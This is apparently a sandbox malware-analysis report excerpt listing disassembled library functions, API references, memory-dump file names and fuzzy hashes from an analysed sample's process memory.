__Mtx_unlock.LIBCPMT ref: 00796ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00796F22
std::_Rethrow_future_exception.LIBCPMT ref: 00796F32
__Mtx_unlock.LIBCPMT ref: 00796FD5
__Mtx_unlock.LIBCPMT ref: 007970DB
__Mtx_unlock.LIBCPMT ref: 00797116

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 7fb75e1a8629d171114ea39e67fadc82753eeea45122b4b2979fa780528de1b5
Instruction ID: a54a6544a49d139ba75170f6bd2c6876fc9e3ec4d7456892ea93cc95887d32df
Opcode Fuzzy Hash: 7fb75e1a8629d171114ea39e67fadc82753eeea45122b4b2979fa780528de1b5
Instruction Fuzzy Hash: 97C1E171D04708DBDF25DFB4E949BAEBBF5AF44310F00452EE81697682EB39A904CB61

Function 007A44DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 007A4538
ListArray.LIBCONCRT ref: 007A456C
Hash.LIBCMT ref: 007A45D5
Hash.LIBCMT ref: 007A45E5

Part of subcall function 007A9C41: std::bad_exception::bad_exception.LIBCMT ref: 007A9C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 007A474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 007A47A4

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: b8d049e9ae86715f4b3aae3a6d1abce5611bf3b1b05fb122a8bf9562acd33f64
Instruction ID: 1e41cdca1fc66b335f41371ff2bd078f1605d7a4152ef6cf29426360a3776d8a
Opcode Fuzzy Hash: b8d049e9ae86715f4b3aae3a6d1abce5611bf3b1b05fb122a8bf9562acd33f64
Instruction Fuzzy Hash: 4D8154B0A11A52FAD708DF74C8497D9FBA8BF4A710F10431AF528D7281CBB9A564CBD1

Function 0079ECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0079ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0079ED17

Part of subcall function 0079F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0079F3FA

__alloca_probe_16.LIBCMT ref: 0079ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0079ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0079EDC6
__freea.LIBCMT ref: 0079EDEC

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: e5aedeb3f7c7327285c97a9ad15948e1f4b73bd472c9971b832ee3f7103e8d8f
Instruction ID: 0886e1d7762c845cd543e62b19f2a131fa20ef8abe4bc7785c486924ed3db2a3
Opcode Fuzzy Hash: e5aedeb3f7c7327285c97a9ad15948e1f4b73bd472c9971b832ee3f7103e8d8f
Instruction Fuzzy Hash: 88317AB1B00215CBCF15DFA8E9456AEB7B5EF09310B64406EE845E7351DB38AE02CBA5

Function 007BCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 007BCC66

Strings

v{, xrefs: 007BCBE1

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v{
API String ID: 3213747228-1518592600
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 77ac5c4256ab6070df1f60937f3493894eb0182b6ea6c90476419967f83aec47
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: D7B10532A04686DFDB16CF28C885BEEBFE5EF55350F14816AE855EB242D6389D01CB60

Function 007B1B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 007B1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007B1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007B1C2A

Strings

pContext, xrefs: 007B1C22
switchState, xrefs: 007B1B5E

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
